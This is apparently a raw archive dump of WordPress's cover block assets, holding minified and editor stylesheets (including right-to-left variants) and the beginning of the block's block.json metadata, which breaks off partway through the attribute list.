.wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;direction:rtl;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto}PK�[d[Z��editor-rtl.cssnu�[���.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient{
  position:relative;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  content:"";
  height:100%;
  opacity:.3;
  position:absolute;
  width:100%;
  z-index:1;
}
.wp-block-cover.is-transient .wp-block-cover__inner-container{
  z-index:2;
}
.wp-block-cover .components-spinner{
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:right;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-right:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}PK�[d[Oy��J�J
style.min.cssnu�[���.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto}PK�[d[�#�}}
editor.cssnu�[���.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient{
  position:relative;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  content:"";
  height:100%;
  opacity:.3;
  position:absolute;
  width:100%;
  z-index:1;
}
.wp-block-cover.is-transient .wp-block-cover__inner-container{
  z-index:2;
}
.wp-block-cover .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:left;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-left:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}PK�[d[�+��


block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/cover",
	"title": "Cover",
	"category": "media",
	"description": "Add an image or video with a text overlay.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string"
		},
		"useFeaturedImage": {
			"type": "boolean",
			"default": false
		},
		"id": {
			"type": "number"
		},
		"alt": {
			"type": "string",
			"default": ""
		},
		"hasParallax": {
			"type": "boolean",
			"default": false
		},
		"isRepeated": {
			"type": "boolean",
			"default": false
		},
		"dimRatio": {
			"type": "number",
			"default": 100
		},
		"overlayColor": {
			"type": "string"
		},
		"customOverlayColor": {
			"type": "string"
		},
		"isUserOverlayColor": {
			"type": "boolean"
		},
		"backgroundType": {
			"type": "string",
			"default": "image"
		},
		"focalPoint": {
			"type": "object"
		},
		"minHeight": {
			"type": "number"
		},
		"minHeightUnit": {
			"type": "string"
		},
		"gradient": {
			"type": "string"
		},
		"customGradient": {
			"type": "string"
		},
		"contentPosition": {
			"type": "string"
		},
		"isDark": {
			"type": "boolean",
			"default": true
		},
		"allowedBlocks": {
			"type": "array"
